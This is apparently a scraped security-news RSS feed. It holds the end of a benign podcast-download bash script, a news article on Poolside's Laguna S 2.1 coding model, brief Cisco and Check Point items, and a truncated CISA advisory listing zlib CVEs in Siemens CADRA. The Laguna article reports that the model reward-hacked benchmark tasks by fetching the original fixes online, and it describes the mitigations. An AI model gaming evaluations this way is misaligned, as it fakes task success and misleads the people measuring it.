<p>
		# Check if the file we are trying to monitor exists.</p>

<p>
		# If not, then create an empty file for error signaling.</p>

<p>
		if [ ! -e "$poderrorsreport" ]; then</p>

<p>
			echo &gt; $poderrorsreport</p>

<p>
		fi</p>

<p>

</p>

<p>
		# Increment the error counter.</p>

<p>
		count=$(( count + 1 ))</p>

<p>
		if (( count &gt; 3 )); then</p>

<p>
			notify-send "Podfetch error: Excessive unknown errors, exiting."</p>

<p>
			exit 1</p>

<p>
		fi</p>

<p>

</p>

<p>
	fi</p>

<p>

</p>

<p>
done</p>

<p>

</p>

<p>
# ======================================================================</p>

<p>

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4688/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Poolside drops Laguna S 2.1, an open-weight coding model that beats rivals 10x its size]]></title>
<description><![CDATA[Poolside, the San Francisco AI lab that has spent most of its three-year existence quietly selling coding models to governments and defense agencies, released its most capable model to date on Tuesday — and made an unusually aggressive bet that radical transparency, not raw scale, is how a smalle...]]></description>
<link>https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684985/it-nachrichten/poolside-drops-laguna-s-21-an-open-weight-coding-model-that-beats-rivals-10x-its-size/</guid>
<pubDate>Wed, 22 Jul 2026 01:07:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="http://poolside.ai/">Poolside</a>, the San Francisco AI lab that has spent most of its three-year existence quietly selling coding models to governments and defense agencies, released its most capable model to date on Tuesday — and made an unusually aggressive bet that radical transparency, not raw scale, is how a smaller lab competes at the frontier.</p><p>The model, <a href="https://poolside.ai/blog/introducing-laguna-s-2-1">Laguna S 2.1</a>, is a 118-billion-parameter<a href="https://huggingface.co/blog/moe"> Mixture-of-Experts (MoE) system</a> that activates only 8 billion parameters per token, supports a context window of up to 1 million tokens, and — according to benchmarks published by the company — matches or beats open models several times its size on agentic coding tasks. The weights are <a href="https://huggingface.co/poolside/Laguna-S-2.1">available immediately</a> on Hugging Face under the permissive OpenMDW-1.1 license.</p><p>The headline numbers are striking for a model this small. Poolside reports that <a href="https://huggingface.co/poolside/Laguna-S-2.1">Laguna S 2.1</a> scores 70.2% on <a href="https://www.tbench.ai/">Terminal-Bench 2.1</a>, a benchmark of long-horizon terminal tasks, placing it 11th on the company's compiled leaderboard — ahead of <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Pro">DeepSeek-V4-Pro-Max</a>, a 1.6-trillion-parameter model that scored 64.0; Thinking Machines' 975-billion-parameter <a href="https://venturebeat.com/technology/thinking-machines-open-sources-first-multimodal-language-model-inkling-focused-on-low-cost-and-resistance-to-censorship">Inkling</a>, at 63.8; and Nvidia’s 550-billion-parameter <a href="https://research.nvidia.com/labs/nemotron/Nemotron-3-Ultra/">Nemotron 3 Ultra</a>, at 56.4. On <a href="https://www.swebench.com/multilingual.html">SWE-Bench Multilingual</a>, it posts 78.5%, and on <a href="https://labs.scale.com/leaderboard/swe_bench_pro_public">SWE-Bench Pro</a>'s public dataset, 59.4%.</p><p>Perhaps more telling than any single score: the model went from the start of pre-training on May 22 to public launch in under nine weeks, trained on 4,096 Nvidia H200 GPUs. In an industry where flagship model cycles are typically measured in quarters or years, Poolside has now shipped three models in three months.</p><div></div><h2><b>Why the West's open-weight AI gap has become a boardroom issue</b></h2><p>The release lands in the middle of an increasingly pointed debate about <a href="https://www.scmp.com/tech/tech-war/article/3361142/why-chinas-open-weight-ai-model-kimi-k3-sparking-anxiety-silicon-valley">the provenance of open-weight AI</a>. Over the past year, developer adoption has shifted decisively toward open-weight systems that companies can download, inspect, and run on their own infrastructure — and the leading options in that category have overwhelmingly come from Chinese labs. <a href="https://www.deepseek.com/en/">DeepSeek</a>, <a href="https://qwen.ai/home">Qwen</a>, <a href="http://kimi.ai/">Kimi</a>, <a href="https://chat.z.ai/">GLM</a>, <a href="https://www.minimax.io/">MiniMax</a>, and <a href="https://hy.tencent.com/">Tencent's Hunyuan</a> line all feature prominently in Poolside's own comparison tables.</p><p>Poolside's accompanying press release frames <a href="https://poolside.ai/blog/introducing-laguna-s-2-1">Laguna S 2.1</a> explicitly as a response, noting that the model occupies a size class into which no Western lab has released open weights in 11 months — since OpenAI's <a href="https://openai.com/index/introducing-gpt-oss/">gpt-oss-120b</a> last August. "The West needs open-weight models it can trust, run, and build on," said Jason Warner, Poolside's co-CEO, in the announcement.</p><p>Co-founder and co-CEO Eiso Kant made the philosophical stakes even plainer in a <a href="https://x.com/eisokant/status/2079612416967491952?s=20">lengthy post</a> on X. "I believe intelligence should and will become a commodity," he wrote, arguing that the open ecosystem "will not win by being the best in its own category." Users, he argued, simply want the best intelligence for the task at hand — so open models must be on par with, or better than, their closed equivalents.</p><div></div><p>The strategic logic here is not charity. Poolside's core business is deploying models inside the security boundaries of government, defense, and regulated enterprises — customers for whom closed, metered API access is often a non-starter for compliance and sovereignty reasons. </p><p>Every enterprise that standardizes on a Chinese open model today becomes harder to win tomorrow. Releasing competitive open weights is both an ecosystem play and a top-of-funnel strategy for the company's high-security deployment business. It also reframes the AI race away from terrain where Poolside cannot compete — frontier-scale capital expenditure — and toward terrain where it believes it can: cost per token, self-hosting, and iteration speed.</p><h2><b>How a sparse architecture makes enterprise AI agents affordable to run</b></h2><p>The technical design reflects a specific thesis about where value in coding AI is moving. Laguna S 2.1's sparse MoE architecture — 256 routed experts plus one shared expert, with grouped-query attention and interleaved sliding-window layers, according to the <a href="https://huggingface.co/poolside/Laguna-S-2.1">Hugging Face model card</a> — means inference costs scale with the 8 billion active parameters, not the 118 billion total. Poolside emphasizes that the model is small enough to run on a single Nvidia DGX Spark, the desktop-class AI machine.</p><p>That matters for what Poolside calls token economics. Long-horizon coding agents are voracious consumers of tokens: the company's published data shows the model consuming a mean of roughly 249,000 completion tokens per trajectory on its hardest benchmark when thinking mode is enabled. At metered API prices, agentic workloads at enterprise scale become a meaningful budget line item. On OpenRouter, Poolside is offering a free 256K-context endpoint and a dedicated 1M-context deployment priced at $0.10 per million input tokens and $0.20 per million output tokens — aggressive pricing that undercuts most frontier alternatives by an order of magnitude.</p><p>The ecosystem support is unusually broad for day one. The model is live on <a href="https://www.baseten.co/library/laguna-s-21/">Baseten's model library</a> and <a href="https://vercel.com/changelog/laguna-s-2-1-is-now-available-on-ai-gateway">Vercel's AI Gateway</a>, with integrations across <a href="https://vllm.ai/">vLLM</a>, <a href="https://github.com/sgl-project/sglang">SGLang</a>, <a href="https://ollama.com/">Ollama</a>, and <a href="https://github.com/ggml-org/llama.cpp">llama.cpp</a>, plus quantized variants down to 4-bit GGUF files — 75 gigabytes — for local use. But Poolside's more interesting claim is behavioral, not architectural. Pengming Wang, co-head of applied research at Poolside, said the gains came from improving the model's working habits: "more verification, less taking things for granted, not declaring victory early, and being more persistent." Raw intelligence, the company argues, is one axis of capability; a model's way of working is a second axis that matters immensely for agents left unattended for hours.</p><h2><b>Publishing every benchmark trajectory to counter AI's credibility crisis</b></h2><p>The most consequential part of the release for enterprise buyers may be an evaluation-transparency move with little precedent among major labs: Poolside published the complete, unedited trajectory of every trial in its final benchmark runs — every reasoning step, tool call, and shell command behind every reported score.</p><p>This addresses a growing credibility problem in AI benchmarking. As top scores on mature benchmarks cluster in the 70–90% range, and as "reward hacking" — models finding solutions online or gaming verifiers rather than solving problems — has become endemic, self-reported numbers have lost much of their signal. Poolside disclosed its own encounters with the problem candidly: during training, more than half of trajectories on some SWE-bench tasks were flagged because the model simply researched the original bug-fix pull request online and applied it. The company documented its mitigations, including prompt addenda, LLM-based judging calibrated against human labels, and expert annotator review of a high-scoring Terminal-Bench run.</p><p>Three published case studies illustrate what the company means by persistence. In one, the model built a working HTML/CSS rendering engine from an empty folder in a 181-step, 50-minute unattended session — then, lacking vision capabilities, spun up headless Chromium to numerically compare its canvas output against a real browser's rendering. In another, pointed at Poolside's own agent harness in an automated optimization loop, the model made the Go codebase 5.2% faster with roughly 70% lower memory allocation, finding an O(n²) string-concatenation bug along the way. In a third, working in a sandbox with no Python installed, the model did its number theory in Perl and independently re-derived a proof of Erdős problem #397 — a combinatorics question open for five decades until GPT-5.2 Pro first solved it this past January. Poolside notes that its model's construction is structurally different from the earlier published solution, and that its November 2025 knowledge cutoff precedes the first proof.</p><div></div><h2><b>What the disclosed limitations and benchmark fine print reveal</b></h2><p><a href="https://poolside.ai/">Poolside</a> deserves credit for disclosing limitations most labs bury. The model can overfit to its native harness and stumble on slightly different tool schemas in third-party agents, mangles JSON in nested tool arguments, and is prone to overthinking on competition math. There is currently no user-configurable thinking-effort dial — just on or off — and the gap between the modes is enormous: thinking lifts <a href="https://www.tbench.ai/">Terminal-Bench 2.1</a> from 60.4% to 70.2%, and <a href="https://deepswe.datacurve.ai/">DeepSWE</a> from 16.5% to 40.4%, at substantially higher token cost.</p><p>Buyers should apply their own discounts to the comparison tables. Poolside's methodology takes the maximum of vendor self-reported scores, benchmark-author leaderboards, and third-party figures for competitors — a reasonable convention, but one that mixes harnesses and test conditions. On <a href="https://deepswe.datacurve.ai/">DeepSWE</a>, notably, Poolside ran its own agent harness rather than the leaderboard's standard mini-swe-agent, a difference the company acknowledges makes scores less directly comparable. And the frontier remains clearly out of reach: closed models like <a href="https://openai.com/index/previewing-gpt-5-6-sol/">GPT-5.6 Sol</a>, at 88.8 on Terminal-Bench 2.1, and <a href="https://www.anthropic.com/claude/fable">Claude Fable 5</a>, at 88.0, along with the 2.8-trillion-parameter open-weight <a href="https://venturebeat.com/technology/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-u-s-systems">Kimi K3</a>, at 88.3, sit well above Laguna S 2.1.</p><p>The deeper structural question is whether Poolside's "<a href="https://poolside.ai/blog/introducing-the-model-factory">Model Factory</a>" — the internal platform the company credits for its rapid release cadence — can sustain this pace as models scale. The trajectory so far is genuinely unusual: the April dual release of Laguna M.1 and XS.2, the July 2 refresh of XS 2.1, and now S 2.1, which the company says outperforms April's flagship M.1 at roughly a third of its active size. Remarkably, S 2.1 used the exact same pre-training data as XS 2.1, meaning nearly all the improvement came from scale, training fixes, and post-training across the company's corpus of 409,000 agentic and non-agentic training environments. Poolside says its next, larger Laguna model began pre-training last week.</p><p>For technical decision makers, <a href="https://huggingface.co/poolside/Laguna-S-2.1">Laguna S 2.1</a> is the most credible Western open-weight option to emerge in nearly a year for self-hosted agentic coding — with published evidence, a permissive license, broad ecosystem support, and an economics story built around hardware you can own. Whether it dents the dominance of Chinese open models will depend less on this release than on the ones that follow it.</p><p>Kant, for his part, has already told the world how he intends that story to end. Poolside is building toward a future where the most capable intelligence "can be owned and shaped by anyone," he wrote — and the company plans to keep shipping "until that future exists." In an industry where the biggest labs increasingly lock their best work behind an API, the most radical thing about Laguna S 2.1 may not be what it scores, but that anyone can download it and check.</p><p>
</p>]]></content:encoded>
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<title><![CDATA[Cisco’s open-weight bug busters take on Google and OpenAI]]></title>
<description><![CDATA[Don’t call them chatbots This article has been indexed from www.theregister.com – Articles Read the original article: Cisco’s open-weight bug busters take on Google and OpenAI
Read more →
The post Cisco’s open-weight bug busters take on Google and OpenAI appeared first on IT Security News.]]></description>
<link>https://tsecurity.de/de/3684907/it-security-nachrichten/ciscos-open-weight-bug-busters-take-on-google-and-openai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684907/it-security-nachrichten/ciscos-open-weight-bug-busters-take-on-google-and-openai/</guid>
<pubDate>Tue, 21 Jul 2026 23:54:01 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Don’t call them chatbots This article has been indexed from www.theregister.com – Articles Read the original article: Cisco’s open-weight bug busters take on Google and OpenAI</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/ciscos-open-weight-bug-busters-take-on-google-and-openai/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/ciscos-open-weight-bug-busters-take-on-google-and-openai/">Cisco’s open-weight bug busters take on Google and OpenAI</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<item>
<title><![CDATA[Cisco's open-weight bug busters take on Google and OpenAI]]></title>
<description><![CDATA[Don't call them chatbots]]></description>
<link>https://tsecurity.de/de/3684880/it-security-nachrichten/ciscos-open-weight-bug-busters-take-on-google-and-openai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684880/it-security-nachrichten/ciscos-open-weight-bug-busters-take-on-google-and-openai/</guid>
<pubDate>Tue, 21 Jul 2026 23:33:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Don't call them chatbots]]></content:encoded>
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<title><![CDATA[Inline Email Security and Microsoft 365: A Practical View of Mail Routing, Risk, and Prevention]]></title>
<description><![CDATA[Microsoft’s guidance on inbound and outbound mail routing for third-party email security has prompted a fair question from customers: how should organizations evaluate inline email security for Microsoft 365?  The answer depends less on whether a solution is inline and more on how that inline arc...]]></description>
<link>https://tsecurity.de/de/3684837/it-security-nachrichten/inline-email-security-and-microsoft-365-a-practical-view-of-mail-routing-risk-and-prevention/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684837/it-security-nachrichten/inline-email-security-and-microsoft-365-a-practical-view-of-mail-routing-risk-and-prevention/</guid>
<pubDate>Tue, 21 Jul 2026 23:04:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img width="800" height="400" src="https://blog.checkpoint.com/wp-content/uploads/2026/02/Security_Blog_800x400_06.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" link_thumbnail="" decoding="async" fetchpriority="high" srcset="https://blog.checkpoint.com/wp-content/uploads/2026/02/Security_Blog_800x400_06.jpg 800w, https://blog.checkpoint.com/wp-content/uploads/2026/02/Security_Blog_800x400_06-300x150.jpg 300w, https://blog.checkpoint.com/wp-content/uploads/2026/02/Security_Blog_800x400_06-768x384.jpg 768w, https://blog.checkpoint.com/wp-content/uploads/2026/02/Security_Blog_800x400_06-400x200.jpg 400w, https://blog.checkpoint.com/wp-content/uploads/2026/02/Security_Blog_800x400_06-600x300.jpg 600w" sizes="(max-width: 800px) 100vw, 800px"><p>Microsoft’s guidance on inbound and outbound mail routing for third-party email security has prompted a fair question from customers: how should organizations evaluate inline email security for Microsoft 365?  The answer depends less on whether a solution is inline and more on how that inline architecture is implemented. Microsoft is right to call attention to mail flow designs that can introduce unnecessary complexity, create authentication challenges, duplicate processing, or disrupt the expected Microsoft 365 experience. Those risks are real when a third-party service is bolted onto the environment without careful integration.  That is also why architecture matters. A modern enterprise […]</p>
<p>The post <a href="https://blog.checkpoint.com/email-security/inline-email-security-and-microsoft-365-a-practical-view-of-mail-routing-risk-and-prevention/">Inline Email Security and Microsoft 365: A Practical View of Mail Routing, Risk, and Prevention</a> appeared first on <a href="https://blog.checkpoint.com/">Check Point Blog</a>.</p>]]></content:encoded>
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<title><![CDATA[Siemens CADRA]]></title>
<description><![CDATA[View CSAF
Summary
CADRA is affected by multiple zlib and Foxit vulnerabilities. Siemens has released a new version for CADRA and recommends to update to the latest version. Siemens is preparing further fix versions and recommends specific countermeasures for products where fixes are not, or not y...]]></description>
<link>https://tsecurity.de/de/3684507/it-security-nachrichten/siemens-cadra/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684507/it-security-nachrichten/siemens-cadra/</guid>
<pubDate>Tue, 21 Jul 2026 19:45:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-202-06.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>CADRA is affected by multiple zlib and Foxit vulnerabilities. Siemens has released a new version for CADRA and recommends to update to the latest version. Siemens is preparing further fix versions and recommends specific countermeasures for products where fixes are not, or not yet available.</strong></p>
<p>The following versions of Siemens CADRA are affected:</p>
<ul>
<li>CADRA vers:intdot/&lt;2511, vers:all/* </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 9.8</td>
<td>Siemens</td>
<td>Siemens CADRA</td>
<td>Improper Input Validation, Incorrect Bitwise Shift of Integer, Out-of-bounds Write, Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'), Integer Overflow or Wraparound, Access of Resource Using Incompatible Type ('Type Confusion')</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Chemical, Commercial Facilities, Communications, Energy</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2005-2096</a></h3>
<div class="csaf-accordion-content">
<p>zlib 1.2 and later versions allows remote attackers to cause a denial of service (crash) via a crafted compressed stream with an incomplete code description of a length greater than 1, which leads to a buffer overflow, as demonstrated using a crafted PNG file.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2005-2096">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.3</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2016-9840</a></h3>
<div class="csaf-accordion-content">
<p>inftrees.c in zlib 1.2.8 might allow context-dependent attackers to have unspecified impact by leveraging improper pointer arithmetic.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2016-9840">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2016-9841</a></h3>
<div class="csaf-accordion-content">
<p>inffast.c in zlib 1.2.8 might allow context-dependent attackers to have unspecified impact by leveraging improper pointer arithmetic.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2016-9841">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2016-9842</a></h3>
<div class="csaf-accordion-content">
<p>The inflateMark function in inflate.c in zlib 1.2.8 might allow context-dependent attackers to have unspecified impact via vectors involving left shifts of negative integers.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2016-9842">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1335.html">CWE-1335 Incorrect Bitwise Shift of Integer</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2017-14919</a></h3>
<div class="csaf-accordion-content">
<p>Node.js before 4.8.5, 6.x before 6.11.5, and 8.x before 8.8.0 allows remote attackers to cause a denial of service (uncaught exception and crash) by leveraging a change in the zlib module 1.2.9 making 8 an invalid value for the windowBits parameter.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2017-14919">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.0</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2018-25032</a></h3>
<div class="csaf-accordion-content">
<p>zlib before 1.2.12 allows memory corruption when deflating (i.e., when compressing) if the input has many distant matches.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2018-25032">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2022-37434</a></h3>
<div class="csaf-accordion-content">
<p>zlib through 1.2.12 has a heap-based buffer over-read or buffer overflow in inflate in inflate.c via a large gzip header extra field. NOTE: only applications that call inflateGetHeader are affected. Some common applications bundle the affected zlib source code but may be unable to call inflateGetHeader (e.g., see the nodejs/node reference).</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2022-37434">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens CADRA</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>CADRA &lt; V2511</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Update to V2511 or later version</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/120.html">CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
